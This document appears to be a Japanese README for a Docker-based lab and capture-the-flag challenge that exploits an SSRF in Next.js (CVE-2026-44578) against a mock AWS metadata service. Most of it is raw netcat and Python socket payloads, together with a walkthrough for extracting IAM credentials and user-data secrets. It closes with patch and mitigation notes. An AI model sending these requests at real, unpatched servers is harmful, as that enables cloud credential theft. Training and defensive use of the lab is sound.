
このラボは良いかもしれないし悪いかもしれないが、テスト中だ。でも動作するはずだ。AIに聞いてみて hahah
| フィールド | 値 |
|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS 3.1 | 8.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) |
| タイプ | SSRF(CWE-918) |
| 影響を受けるバージョン | Next.js 13.4.13 – 15.5.15 および 16.0.0 – 16.2.4 |
| パッチ適用済みバージョン | 15.5.16 および 16.2.5 |
| 認証 | 不要 |
| ユーザー操作 | 不要 |
攻撃者 (host: 0.0.0.0)
│ HTTP :3000 (公開)
▼
┌──────────────────────────┐ 同じネットワーク名前空間 ┌─────────────────────┐
│ nextjs-vuln │ localhost:80 ──────────► │ imds-sidecar │
│ Next.js 15.5.0 │ │ Fake AWS IMDSv1 │
│ "Nimbus Analytics" │ │ (認証情報, │
│ (統合Node.jsサーバー) │ │ user-data, インデックス) │
└──────────────────────────┘ └─────────────────────┘
nextjs-vuln(ポート 3000): 脆弱なアプリ。0.0.0.0:3000 に公開。imds-sidecar: Next.jsコンテナの名前空間内の localhost:80 に存在するAWSメタデータサービスのモック。実際のクラウドインスタンスをモデル化しています。ホストから直接到達することはできません(公開ポートなし)。 CVE-2026-44578/
├── docker-compose.yml
├── exploit/
│ └── exploit.py # 自動化PoC(5プローブ)
├── imds-mock/
│ ├── Dockerfile
│ └── server.py # Fake IMDSv1 + シークレットルート
└── nextjs-app/ # 現実的なアプリ "Nimbus Analytics"
├── app/
│ ├── globals.css
│ ├── layout.js # navbar/footer
│ ├── page.js # ランディング
│ ├── api/health/route.js
│ ├── login/page.js
│ ├── pricing/page.js
│ └── dashboard/page.js
├── Dockerfile
└── package.json # [email protected] (脆弱)
router-server.ts のWebSocketアップグレードハンドラーは、パースされたURIに parsedUrl.protocol がある場合に proxyRequest() を呼び出しますが、通常のHTTPハンドラーが常に発行する finished および statusCode フラグをチェックしません:
// 脆弱 (<= 15.5.15)
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
// パッチ (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
+ }
+ return socket.end()
攻撃経路は二重スラッシュの絶対URIを持つリクエストラインを使用します:
GET http:///path。normalizeRepeatedSlashes は http:/// を http:/ に縮小し、ホスト名がなくなります。その後、http-proxy はパスをそのままにして localhost:80 に接続します:
GET http:///latest/meta-data/iam/security-credentials/<ROLE> HTTP/1.1
Host: 127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Connection: Upgrade + Upgrade: websocket ヘッダーの存在により、リクエストはセキュリティチェックのあるHTTPハンドラーではなく、脆弱なアップグレードハンドラーに送られます。
docker compose up -d --build
アプリが応答することを確認します:
curl -s http://127.0.0.1:3000/api/health
curl -s http://localhost:3000/ | head
0.0.0.0 で動作させるために、docker-compose.yml のポートマッピングはすでに 3000:3000 をすべてのインターフェースで公開しています。
nc)を使用printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/meta-data/instance-id HTTP/1.1\r\n"
b"Host: 127.0.0.1:3000\r\n"
b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
b"Sec-WebSocket-Version: 13\r\n"
b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF
python3 exploit/exploit.py 127.0.0.1 3000
4つのフェーズからなる完全手動のフルフロー。内部サービス(localhost:80)には4つのフラグが隠されています。このガイドでは最初のフラグまでのフローを示し、残りを見つけるためのルートを提供します。
# サーバーのフィンガープリント
curl -sI http://127.0.0.1:3000/
# HTTP/1.1 200 OK
# x-powered-by: Next.js
# x-http-method-override: 0.0.0.0
# ソケット経由のオープンポート(nmapなし)
python3 -c 'import socket
for p in (22,80,3000,6379):
s=socket.socket(); open_=(s.connect_ex(("127.0.0.1",p))==0); s.close()
if open_: print(p,"OPEN")'
攻撃者から 127.0.0.1:80 への直接アクセスはありません。唯一のベクトルは、内部サービスと同じネットワークに存在するNext.jsサーバーに、代わりにリクエストさせることです。
まず、メタデータサービスのインデックスを問い合わせてSSRFを確認します:
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
インデックスの応答 → 候補: instance-id、hostname、iam/security-credentials/、user-data(最初のフラグ)。latest/meta-data/ のインデックスは、さらに探索する価値のあるサブキーも明らかにします。
GET http:///latest/user-data HTTP/1.1
| 部分 | 機能 |
|---|---|
GET | この脆弱性はGETのみをプロキシします |
http:///latest/user-data | 絶対URI。http:/// は http:/ に縮小 → ホスト名がnull → プロキシはパス /latest/user-data を保持したまま localhost:80 に接続 |
Host: 127.0.0.1:3000 | これがないとサーバーは400を返します |
Connection: Upgrade + Upgrade: websocket | リクエストを脆弱なアップグレードハンドラーに転送します(通常のHTTPハンドラーは検証します) |
Sec-WebSocket-Version: 13 / -Key: dGhlIHNhbXBsZSBub25jZQ== | 正当なハンドシェイクに必要な最小ヘッダー |
終端: 生ソケットで \r\n\r\n(ボディなし)。
# オプションA: netcat
printf "GET http:///latest/user-data HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
# オプションB: Pythonの生ソケット(ncなし、同じ精度)
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/user-data HTTP/1.1\r\n"
b"Host: 127.0.0.1:3000\r\n"
b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
b"Sec-WebSocket-Version: 13\r\n"
b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF
出力 — 最初のフラグは内部サービスの応答ボディに含まれます:
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14
#!/bin/bash
echo 'instance started'
DB_PASS=supersecret123
FLAG{*******1_de_4*******}
フラグ 1/4 獲得。 server: BaseHTTP/0.6 ...(Pythonモック)ヘッダーは、リクエストが 攻撃者 → Next.js → localhost:80 と移動したことを確認します。つまり、フラグはSSRFによって内部ネットワークから流出したのです。残りの3つはメタデータサービスと内部サービスのルートに散在しています — latest/meta-data/ のインデックスがあなたの地図です。残りを見つけてください。
フェイクIMDS(localhost:80)は実際のAWSメタデータサービスをモデル化しています:ナビゲート可能なツリーです。各ディレクトリ(/ で終わる)はサブルートのインデックスで応答します。/ なしでディレクトリを要求すると 301 リダイレクトが返されます。隠しルートはありません。推測を必要とするフラグはありません — すべてはインデックスのナビゲーションで発見されます。
/ → latest/
├── meta-data/ → ami-id, hostname, iam/, instance-id, instance-type,
│ local-hostname, placement/, public-hostname, tags/
├── dynamic/ → instance-identity/
└── user-data → ブートスクリプト(internal/configを指す)
| ルート | コンテンツ |
|---|---|
latest/meta-data/ | メタデータのインデックス(上記参照) |
latest/meta-data/iam/security-credentials/ | ロール lab-ssrf-role |
latest/meta-data/iam/security-credentials/lab-ssrf-role | AccessKeyId、SecretAccessKey、Token を含むJSON |
latest/user-data | DB認証情報を含むブートスクリプト |
latest/dynamic/instance-identity/document | インスタンスIDのJSON |
internal/config | 内部サービスの設定(DB、APIキー)— user-dataから参照 |
CTFチャレンジ: 4つのフラグがあり、それぞれがAWSに対するSSRF悪用チェーンの実際の成果物です:(1) ブートのuser-data、(2) IAM認証情報、(3) identity document、(4) 内部サービスの設定。それらの値は公開されていません。インデックス(
/→latest/→ …)をナビゲートすると、バナーからバナーへと進みます。user-dataスクリプトが4つ目の場所を示しています。ルートを推測する必要はありません。404は存在しないパスを発明していることを示すだけです。
フラグからフラグへの完全なチェーンは専用ドキュメントにあります: SOLUCION.md(各フラグが次のフラグのヒントを与えます。このREADMEの外にあります)。
ルール: 各フラグにはヒント、障害、そして解決策があります。まずヒントで試してください。行き詰まったら障害を使用してください。隠しルートはありません。誰も偽装していません。すべてナビゲート可能です。
始める前の2つの注意事項:
ssrf() はすでに準備されています SOLUCION.md → 準備:コピーしてガイドの残りに使用してください。Connection: Upgrade + Upgrade: websocket を持つ GET http:///<path> リクエストを送信します。RkxBR3… ブロブ(FLAG{…} のbase64)が表示されます。復号してください:
echo <blob> | base64 -d。/latest/user-data へのGETは何を返しますか?これはAWSの攻撃者が最初にチェックするものです。/ を付けてリストされます。ssrf latest/meta-data は 301 Moved Permanently と Location: latest/meta-data/ を返します。= 「フォローしてください」。ncでは自動フォローはありません。スラッシュ付きでリクエストを繰り返してください。ssrf latest/user-data
ボディ内: DB_PASS=… を含むブートスクリプト(フラグ 1 はその中にあります)、およびフラグ 4 の地図である curl -s http://internal/config 行。
latest/meta-data/iam/security-credentials/ をナビゲートし、表示されるロールを要求してください。Token はプレースホルダーではない): 200 は長いJSONを返します。AccessKeyId/SecretAccessKey が目に飛び込みます。フラグ 2 はそこにはありません: Token フィールドは単一のbase64文字列です。それを復号してください。ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role
latest/meta-data/ だけが唯一のツリーではありません。ルートインデックスを見てください。ほとんど誰も開かない dynamic/ があります。dynamic/ → instance-identity/ → document。3つのステップがあります。各ステップで ssrf は / で終わる必要があります(document を除く)。301の後に再リクエストしないため迷子になる人がいます。ssrf latest/dynamic/
ssrf latest/dynamic/instance-identity/
ssrf latest/dynamic/instance-identity/document
IDのJSONには、フラグ 3 を含むキー FLAG(base64)が含まれています。コマンドシリーズが2番目のステップで 301 を返した場合、障害 1 の教訓を思い出してください。
curl -s http://internal/config。internal は解決されません。「internal」はサーバー側のエイリアスであり、あなたのものではありません。ホストは変更しません。SSRFは常に localhost:80 に着地します。パスのみを選択します。ssrf internal/config
4つの検証(base64ブロブ → デコード):
ssrf latest/user-data | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/dynamic/instance-identity/document | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf internal/config | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
4/4フラグ獲得。いずれかが FLAG{...} を返さない場合、user-dataのcurl(フラグ 4 の障害)またはインデックスの /(フラグ 1 の障害)を確認してください。
手動使用例、IAM認証情報:
printf "GET http:///latest/meta-data/iam/security-credentials/lab-ssrf-role HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
期待される結果 — 応答は server: BaseHTTP/0.6 Python/3.12.x(モック)とともに届きます。Next.jsのバナーではなく、リクエストがサーバーによって localhost:80 に対して行われたことを証明します:
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14
content-type: text/plain
{"Code": "Success", ..., "AccessKeyId": "AKIA-FAKE-ACCESS-KEY-ID", "SecretAccessKey": "FAKE/Secret+Access/Key+1234567890abcdef", ...}
PoCはSSRFを検証しますが、フラグを検閲します: FLAG{...} のbase64ブロブと平文の FLAG{...} は検閲されたテキストとして表示されます。値は手動探索(上記のCTFセクション)でのみ取得できます。
--- IAM Creds ---
HTTP/1.0 200 OK
{"Code": "Success", ..., "Token": "RkxBR3******** (flag cifrado: explotacion manual) ***"}
--- User Data ---
HTTP/1.0 200 OK
#!/bin/bash
flag=RkxBR3******** (flag cifrado: explotacion manual) ***
http:/// の正規化でホスト名が失われます)。Upgrade: websocket を400で拒否)。パッチ(Next.js ≥ 15.5.16)が攻撃をブロックすることを確認するには、nextjs-app/package.json のバージョンを 15.5.16 に変更し、再構築して同じペイロードを再実行します。接続はデータを返さずに閉じられます。
Next.jsプロセスのログのシグネチャ:
Failed to proxy http:/ — プロキシは発火しましたが、宛先に到達できませんでした。http: を含む絶対URIがあり、Connection: Upgrade / Upgrade: websocket ヘッダーがあるリクエスト。HttpTokens=required)を適用。if ($request_uri ~* "^https?://") { return 400; }